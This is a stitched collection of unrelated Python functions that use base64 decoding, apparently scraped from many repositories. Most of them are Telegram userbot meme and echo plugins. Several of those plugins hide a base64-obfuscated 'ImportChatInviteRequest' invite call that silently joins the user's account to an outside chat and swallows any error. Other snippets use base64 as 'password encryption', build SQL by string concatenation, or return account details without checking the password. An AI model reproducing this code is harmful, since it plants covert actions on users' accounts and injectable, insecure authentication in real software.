def detailsapi(token): tkn = pybase64.b64decode(token) r = tkn.decode('utf-8') str1 = r.split("(~)") username = str1[0] password = str1[1] cursor = mysql.get_db().cursor() cursor.execute('SELECT * FROM users WHERE Username = %s', [username]) account = cursor.fetchone() details = [{ 'ID': account[0], 'Username': username, 'Email': account[3], 'FullName': account[4], 'Address': account[5], 'BloodGroup': account[6], 'Age': account[7] }] return jsonify({'Details': details})
async def nekobot(event): replied = await event.get_reply_message() if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) if not replied: await event.edit("reply to a supported media file") return if replied.media: await event.edit("passing to telegraph...") else: await event.edit("reply to a supported media file") return try: file = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") file = Get(file) await event.client(file) except: pass download_location = await bot.download_media(replied , TEMP_DOWNLOAD_DIRECTORY) if download_location.endswith((".webp")): download_location = convert_toimage(download_location) size = os.stat(download_location).st_size if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): if size > 5242880: await event.edit("the replied file size is not supported it must me below 5 mb") os.remove(download_location) return await event.edit("generating image..") else: await event.edit("the replied file is not supported") os.remove(download_location) return try: response = upload_file(download_location) os.remove(download_location) except exceptions.TelegraphException as exc: await event.edit("ERROR: " + str(exc)) os.remove(download_location) return file = f"https://telegra.ph{response[0]}" file = await trash(file) await event.delete() await bot.send_file(event.chat_id , file, reply_to=replied)
async def catbot(catmemes): replied = await catmemes.get_reply_message() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if not replied: await catmemes.edit("reply to a supported media file") return if replied.media: await catmemes.edit("passing to telegraph...") else: await catmemes.edit("reply to a supported media file") return try: cat = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") cat = Get(cat) await catmemes.client(cat) except BaseException: pass download_location = await borg.download_media(replied, Config.TMP_DOWNLOAD_DIRECTORY) if download_location.endswith((".webp")): download_location = convert_toimage(download_location) size = os.stat(download_location).st_size if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): if size > 5242880: await catmemes.edit("the replied file size is not supported it must me below 5 mb") os.remove(download_location) return await catmemes.edit("generating image..") else: await catmemes.edit("the replied file is not supported") os.remove(download_location) return try: response = upload_file(download_location) os.remove(download_location) except exceptions.TelegraphException as exc: await catmemes.edit("ERROR: " + str(exc)) os.remove(download_location) return cat = f"https://telegra.ph{response[0]}" cat = await awooify(cat) await catmemes.delete() await borg.send_file(catmemes.chat_id, cat, reply_to=replied)
async def nekobot(exelon): if exelon.pattern_match.group(1): text = exelon.pattern_match.group(1) else: reply_to_id = await exelon.get_reply_message() text = reply_to_id.text text = re.sub("&", '', text) reply_to_id = exelon.message if exelon.reply_to_msg_id: reply_to_id = await exelon.get_reply_message() if not text: if exelon.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz` " ) return else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz` " ) return try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass if "|" in text: username, text = text.split("|") else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz`" ) return await exelon.edit(f"{username} tweet atması isteniyor...") text = deEmojify(text) exelonfile = await tweets(text, username) await borg.send_file(exelon.chat_id, exelonfile, reply_to=reply_to_id) await exelon.delete()
async def nekobot(cat): if cat.pattern_match.group(1): text = cat.pattern_match.group(1) else: reply_to_id = await cat.get_reply_message() text = reply_to_id.text text = re.sub("&", "", text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text` " ) return else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text` " ) return try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass if "|" in text: username, text = text.split("|") else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text`" ) return await cat.edit(f"Requesting {username} to tweet...") text = deEmojify(text) catfile = await tweets(text, username) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
def get_file_content_from_remote_repo(user_github, nom_remote_repo, str_part, path_tmp): f_name = "" if check_if_remote_repo_exist(user_github, nom_remote_repo): # using username and password g = Github(user_github.login, user_github.password) # or using an access token g = Github(user_github.token) repo = g.get_user().get_repo(nom_remote_repo) # print("file retrived = "+get_file_name_from_remote_repo(user_github, nom_remote_repo, str_part)) f_name = get_file_name_from_remote_repo(user_github, nom_remote_repo, str_part) file_content = repo.get_contents(f_name) file_data = pybase64.b64decode(file_content.content) file_out = open(path_tmp + file_content.name, "wb") file_out.write(file_data) file_out.close() else: print("pas de repo de ce nom") return path_tmp + f_name
async def echo(krishan): if krishan.fwd_from: return if krishan.reply_to_msg_id is not None: reply_msg = await krishan.get_reply_message() user_id = reply_msg.sender_id chat_id = krishan.chat_id try: pgl = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") pgl = Get(pgl) await krishan.client(pgl) except BaseException: pass if is_echo(user_id, chat_id): remove_echo(user_id, chat_id) await edit_or_reply(krishan, "Echo has been stopped for the user") else: await edit_or_reply(krishan, "The user is not activated with echo") else: await edit_or_reply(krishan, "Reply to a User's message to echo his messages")
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply("`Herhangi bir makale yazmadınız, Waifu gidiyor.`") return try: matesa = str(pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoIkFBQUFBRkVfb1o1WFROX1J1WmhLTnciKQ=="))[2:51] await animu.client(matesa) except BaseException: pass await animu.delete() text = deEmojify(text) await waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
def process_image(request): if 'imgdata' in request.POST: imgdata = request.POST['imgdata'] userdirectory = request.POST['userdirectory'] imgnmb = str(request.POST['imgnmb']) header, encoded = imgdata.split(",", 1) imgdata_stripped = pybase64.b64decode(encoded) if userdirectory == 'False': userdirectory = randomString() userpath = os.path.join(MEDIA_ROOT, userdirectory) os.mkdir(userpath) else: userpath = os.path.join(MEDIA_ROOT, userdirectory) with open(os.path.join(userpath, 'userimage' + imgnmb + '.jpg'), "wb") as f: f.write(imgdata_stripped) faceswap.main(userdirectory, imgnmb, cards[int(imgnmb)-1]) user_url = MEDIA_URL + userdirectory + '/' + imgnmb + '.jpg' imgnmb = int(imgnmb) userdict = { 'userdirectory': userdirectory, 'user_url': user_url, 'imgnmb': imgnmb } return HttpResponse(json.dumps(userdict))
async def echo(cat): if cat.fwd_from: return if cat.reply_to_msg_id is not None: reply_msg = await cat.get_reply_message() user_id = reply_msg.from_id chat_id = cat.chat_id try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await cat.client(hmm) except BaseException: pass if is_echo(user_id, chat_id): remove_echo(user_id, chat_id) await edit_or_reply(cat, "Echo has been stopped for the user") else: await edit_or_reply(cat, "The user is not activated with echo") else: await edit_or_reply(cat, "Reply To A User's Message to echo his messages")
def test_dec_unicode(altchars_id, vector_id, validate, simd): vector = test_vectors_b64[altchars_id][vector_id] vector = text_type(vector, 'utf-8') altchars = altchars_lut[altchars_id] if altchars_id == STD: altchars = None else: altchars = text_type(altchars, 'utf-8') if altchars_id != STD and version_info < (3, 0): pytest.skip( 'decoding non standard unicode strings is not supported in ' 'python 2.x') if validate: if version_info < (3, 0): pytest.skip('validate is not supported in python 2.x') base = base64.b64decode(vector, altchars, validate) else: base = base64.b64decode(vector, altchars) test = pybase64.b64decode(vector, altchars, validate) assert test == base
async def echo(cat): if cat.fwd_from: return if cat.reply_to_msg_id is not None: reply_msg = await cat.get_reply_message() user_id = reply_msg.from_id chat_id = cat.chat_id try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await cat.client(hmm) except BaseException: pass if is_echo(user_id, chat_id): await cat.edit("The user is already enabled with echo ") return addecho(user_id, chat_id) await cat.edit("Hi") else: await cat.edit("Reply To A User's Message to echo his messages")
def run_detection_image(OpenVinoExecutable, InputLayer, OutputLayer, h, w, labels_to_names, data): print("start predict...") start_time = time.time() imgdata = pybase64.b64decode(data) file_bytes = np.asarray(bytearray(imgdata), dtype=np.uint8) image = cv2.imdecode(file_bytes, cv2.IMREAD_COLOR) image, scale = resize_image(image) image = create_blank(image, w, h) image = preprocess_image(image) image = image.transpose((2, 0, 1)) image = np.expand_dims(image, axis=0) print("preprocess in {} s".format(time.time() - start_time), flush=True) res = OpenVinoExecutable.infer(inputs={InputLayer: image}) boxes, scores, labels = decode_openvino_detections(res[OutputLayer]) boxes /= scale objects = [] reaponse = {'objects': objects} # visualize detections for box, score, label in zip(boxes[0], scores[0], labels[0]): # scores are sorted so we can break if score < 0.4: break b = np.array(box.astype(int)).astype(int) # x1 y1 x2 y2 obj = { 'name': labels_to_names[label], 'score': str(score), 'xmin': str(b[0]), 'ymin': str(b[1]), 'xmax': str(b[2]), 'ymax': str(b[3]) } objects.append(obj) reaponse_json = json.dumps(reaponse) print("done in {} s".format(time.time() - start_time), flush=True) return reaponse_json
def bloggerlogin(): if request.method == "POST": email = request.form['email'].lower() passwd = str( pybase64.b64encode((request.form['password']).encode("utf-8")), "utf-8") cur = getblogcur() sql = "select id,name from blogger where (email = %s AND password= %s ) " cur.execute(sql, (email, passwd)) sqlres = cur.rowcount logindata = cur.fetchone() print(logindata) if sqlres == 1: session['blogger_id'] = logindata[0] session['blogger_name'] = str(pybase64.b64decode(logindata[1]), "utf-8") return redirect(url_for('blogs')) else: flash("Incorrect credentials!") return redirect(url_for('blogger_login')) return render_template('Blog/bloggerlogin.html')
def imageToEan(self, imageString): # base64 decoding imageBytes = pybase64.b64decode(str(imageString)) imagePIL = Image.open(io.BytesIO(imageBytes)) imageArray = np.asarray(imagePIL) grayImage = cv2.cvtColor(imageArray, cv2.COLOR_BGR2GRAY) barcodes = decode(grayImage) if len(barcodes) == 1: EANBytes = barcodes[0].data EANcode = EANBytes.decode() # convert bytes into string else: EANcode = None #?? print("EAN code is: " + str(EANcode)) return EANcode
def post(self): self.set_header("Access-Control-Allow-Origin", "*") self.set_header("Access-Control-Allow-Headers", "x-requested-with") self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS') requestBinary = self.request.body requestStr = requestBinary.decode() pdfdatahead, pdfdatacontent = requestStr.split(",") pdfdata = pybase64.b64decode(pdfdatacontent) pdfFileObj = PdfFileReader(io.BytesIO(pdfdata)) print('pdfFileObj', pdfFileObj) imageArray = self.extractImageFromPdf(pdfFileObj) imageStrArray = [] # processing the extracted image for i in range(len(imageArray)): buffered = io.BytesIO() # print(type(imageArray[i])) imageArray[i].save(buffered, format="PNG") imageStr = pybase64.b64encode(buffered.getvalue()) imageStrArray.append(imageStr.decode("utf-8")) imageStrArrayStr = json.dumps(imageStrArray) self.write(imageStrArrayStr)
def outletclients(): if 'outlet_id' in session: outletid = str(session['outlet_id']) sql = 'select * from clients where outletid = %s' cur = getoutletcur() cur.execute(sql, outletid) n = cur.rowcount if n >= 1: data = cur.fetchall() cd = [list(i) for i in data] for i in range(0, len(cd)): for j in range(1, len(cd[i]) - 1): cd[i][j] = str(pybase64.b64decode(cd[i][j]), "utf-8") td = tuple(tuple(i) for i in cd) return render_template('Outlet/outlet_clients.html', pdata=td) else: return render_template( 'Outlet/outlet_clients.html', pmsg="currently there is NO Client information !") flash('You must login first to view Clients details!') return redirect(url_for('outlet_login'))
def outletdash(): if request.method == "POST": user_id = request.form['userid'] em_or_num = str( pybase64.b64encode( (request.form['em_or_num'].lower()).encode("utf-8")), "utf-8") manager_name = request.form['manager_name'] mname = str( pybase64.b64encode( (request.form['manager_name'].lower()).encode("utf-8")), "utf-8") passwd = str( pybase64.b64encode((request.form['password']).encode("utf-8")), "utf-8") cur = getoutletcur() sql = "select type from outlet where (id = %s AND (email = %s OR contactNumber = %s ) AND managerName=%s AND password= %s ) " cur.execute(sql, (user_id, em_or_num, em_or_num, mname, passwd)) sqlres = cur.rowcount details = cur.fetchone() if sqlres == 1: outletId = session['outlet_id'] sql = 'select * from outletnotification where outletId=%s' cur = getoutletcur() cur.execute(sql, (outletId)) n = cur.rowcount outlettype = str(pybase64.b64decode(details[0]), "utf-8") if n > 0: session['notifcountoutlet'] = n session['outlet_id'] = user_id session['user_name'] = manager_name session['outlet_type'] = outlettype return redirect(url_for('outlet_dashboard')) else: flash("Incorrect credentials!") return redirect(url_for('outlet_login')) if 'outlet_id' in session: return render_template('Outlet/outlet_home.html') else: flash('You have to Login First to view Dashboard !!') return redirect(url_for('outlet_login'))
def create(): req_data = request.get_json() predict = req_data.get("inputan") now = datetime.now() tanggal = str(now.strftime("%m%d%Y%H%M%S")) # simpan video ke folder video = pybase64.b64decode(predict) path_simpan = str(tanggal + ".jpg") video_tanggal = open(video_folder / path_simpan, "wb") video_simpan = open(video_folder / "photo.jpg", "wb") video_tanggal.write(video) video_simpan.write(video) video_tanggal.close() video_simpan.close() hasil_prediksi, golongan = predictionPicture.predict() print("golongan", golongan) print("hasil_prediksi", hasil_prediksi) input = { "golongan": golongan, "nama_video": path_simpan, "tanggal": tanggal } data, error = video_schema.load(input) if error: return custom_response(error, 400) video_save = VideoModel(data) video_save.save() #ser_data = video_schema.dump(video_save).data return custom_response( { "Golongan": golongan, "Hasil_prediksi": hasil_prediksi, "gambar": predict }, 200)
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply( "`You haven't written any article, Waifu is going away.`") return try: cat = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await event.client(cat) except: pass await animu.delete() await catdef.waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
def get_github_query(self): # construct query keywords_str = '"' + '"+OR+"'.join(self.keywords) + '"' filters_str = "&stars:>{}&forks:>{}&sort=stars&per_page={}".format(self.min_stars, self.min_forks, self.n_repos) query = BASE_API + keywords_str + filters_str # collect metadata q = requests.get(query, headers=token_header) if q.status_code != 200: print(q.status_code) sys.exit('Renew Github Token!') else: repos = json.loads(q.content)['items'] repos_df = pd.DataFrame(repos) repos_df = repos_df.loc[:, ['name', 'html_url', 'description', 'forks', 'stargazers_count', "url"]] # collect readme files readme_ls = [] ct = 1 for i in repos_df['url']: print(f'Fetching Repo #{ct}: {i}') readme_url = i + "/contents/README.md?ref=master" r = requests.get(readme_url, headers=token_header) if r.status_code == 200: readme = json.loads(r.content)['content'] readme_text = pybase64.b64decode(readme).decode('utf-8') readme_text = re.sub(r"[^\w\s'.:/]",'',readme_text).replace('\n',' ') readme_ls.append(readme_text) elif r.status_code == 401: sys.exit("Renew Github Token!") else: readme_ls.append(np.nan) ct += 1 repos_df['readme'] = readme_ls repos_df.drop(['url'], axis=1, inplace=True) repos_df.columns = ['name', 'url', 'description', 'forks', 'stars', 'readme'] print("Fetched Repos") return repos_df
async def nekobot(event): text = event.pattern_match.group(1) reply_to_id = event.message if event.reply_to_msg_id: reply_to_id = await event.get_reply_message() if not text: if event.is_reply and not reply_to_id.media: text = reply_to_id.message else: await event.edit("Give text for to write on banner, man") return await event.edit("Your banner is under creation wait a sec...") try: san = str(pybase64.b64decode("SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=") )[2:49] await event.client(san) except: pass text = deEmojify(text) file = await changemymind(text) await event.client.send_file(event.chat_id , file , reply_to = reply_to_id ) await event.delete() await purge()
def displayallblogs(): cur = getblogcur() sql = 'select * from blogs' cur.execute(sql) n = cur.rowcount if n >= 1: data = cur.fetchall() cd = [list(i) for i in data] for i in range(0, len(cd)): countcomments = 'select blogId from comments where blogId = "' + cd[ i][0] + '" ' cur.execute(countcomments) k = cur.rowcount cd[i].append(k) for j in range(3, len(cd[i]) - 1): cd[i][j] = str(pybase64.b64decode(cd[i][j]), "utf-8") td = tuple(tuple(i) for i in cd) print(td) return render_template('Blog/blog.html', bdata=td) flash('There is no blogs . Add some blogs here !!') return render_template('Blog/blog.html')
async def spammer(e): if e.fwd_from: return reply_to_id = e.message if e.reply_to_msg_id: reply_to_id = await e.get_reply_message() try: cat = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await event.client(cat) except: pass counter = int(e.pattern_match.group(1).split(' ', 1)[0]) spam_message = str(e.pattern_match.group(1).split(' ', 1)[1]) await e.delete() await asyncio.wait( [reply_to_id.reply(spam_message) for i in range(counter)]) if BOTLOG: await e.client.send_message( BOTLOG_CHATID, "#REPLAYSPAM\n" f"Replay Spam was executed successfully")
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply("`You haven't written any article, Waifu is going away.`") return try: cat = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoIkFBQUFBRkVfb1o1WFROX1J1WmhLTnciKQ==" ) )[2:51] await animu.client(cat) except BaseException: pass await animu.delete() text = deEmojify(text) await waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await cat.edit("Give text for to write on banner, man") return await cat.edit("Your banner is under creation wait a sec...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass text = deEmojify(text) catfile = await changemymind(text) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
def producerhome(): if 'user_id' in session: warehouseid = str(session['user_id']) cbar = countbar(warehouseid) sql = 'select * from producer where warehouseid = %s' cur = getdbcur() cur.execute(sql, warehouseid) n = cur.rowcount if n >= 1: data = cur.fetchall() cd = [list(i) for i in data] for i in range(0, len(cd)): for j in range(1, len(cd[i]) - 1): cd[i][j] = str(pybase64.b64decode(cd[i][j]), "utf-8") td = tuple(tuple(i) for i in cd) return render_template('producers.html', pdata=td, cbar=cbar) else: return render_template( 'producers.html', pmsg="currently there is NO Producer information !", cbar=cbar) flash('You must login first to view Producers!') return redirect(url_for('warehouse_login'))
def upload_table_data(attr, old, new): curdoc().get_model_by_name('informUser').text = 'uploading fusions' decoded = b64decode(new) f = io.BytesIO(decoded) totalData = [] count = 0 c = 0 for line in f: line = line.decode('utf-8').strip().split('\t') if c == 0: line.insert(1, "subgroup") else: line.insert(1, " ") c += 1 genes = line[0].split('--') totalData.append(line) if len(genes) > 2: count += 1 for i in range(len(genes)-1): temp = [" "]*len(line) temp[10] = line[-(((len(genes)-1)*2)-(2*i))] temp[11] = line[-(((len(genes)-1)*2)-(2*i)-1)] temp[1] = "--".join(genes[i:i+2]) totalData.append(temp) if count == 0: curdoc().get_model_by_name('tableSource').columns = [curdoc().get_model_by_name('tableSource').columns[0]] + curdoc().get_model_by_name('tableSource').columns[2:] else: if len(curdoc().get_model_by_name('tableSource').columns) < 7: curdoc().get_model_by_name('tableSource').columns.insert(1, TableColumn(field = " ", title = "Subgroup Name", formatter=StringFormatter(), width=450)) headers = totalData.pop(0) new_df = pd.DataFrame(totalData, columns=headers) tableSource.data.update(ColumnDataSource(new_df).data) data_table = data_table_formatter(0, tableSource) currLayout = curdoc().get_model_by_name('subColumn').children currLayout.remove(curdoc().get_model_by_name("tableSource")) currLayout.append(data_table) curdoc().get_model_by_name('informUser').text = 'fusions uploaded'
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = await reply_id(cat) hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await edit_delete( cat, "what should I tweet? Give some text and format must be like `.tweet username ; your text` ", 5, ) return try: hmm = Get(hmm) await cat.client(hmm) except BaseException: pass if ";" in text: username, text = text.split(";") else: await edit_delete( cat, "__what should I tweet? Give some text and format must be like__ `.tweet username ; your text`", 5, ) return cate = await edit_or_reply(cat, f"`Requesting {username} to tweet...`") text = deEmojify(text) await asyncio.sleep(2) catfile = await tweets(text, username) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete() if os.path.exists(catfile): os.remove(catfile)
async def __create(self): async with aiohttp.ClientSession() as ses: imsplash = Unsplash() images = random.choice([ a['links']['download'] for a in await imsplash.images("nature") ]) async with ses.get(images) as r: b64e = b64encode(await r.read()) b64d = b64decode(b64e) im = Image.open(io.BytesIO(b64d)) resized = im.resize((self.__width, self.__height)) darkened = ImageEnhance.Brightness(resized).enhance( self.__brightness) W, H = darkened.size draw = ImageDraw.Draw(darkened) font_quote = ImageFont.truetype(os.path.join( f'{assets_path}{slash}fonts{slash}BiminiCondensed.TTF'), size=50) font_watermark = ImageFont.truetype(os.path.join( f'{assets_path}{slash}fonts{slash}Goldfinger Kingdom.ttf'), size=50) wrapper = textwrap.TextWrapper(width=50) word_list = wrapper.wrap(text=self.__quote) caption_new = '\n'.join(line.center(80) for line in word_list) w, h = draw.textsize(caption_new, font_quote) w2, h2 = draw.textsize(self.__watermark, font_watermark) h += int(h * 0.21) h2 += int(h * 0.21) draw.text(((W - w) / 2, (H - h) / 2), caption_new, fill='rgb(255, 255, 255)', font=font_quote) draw.text(((W - w2) / 2, (H - h2) / 2 * 2), self.__watermark, fill='rgb(255, 255, 255)', font=font_watermark) return darkened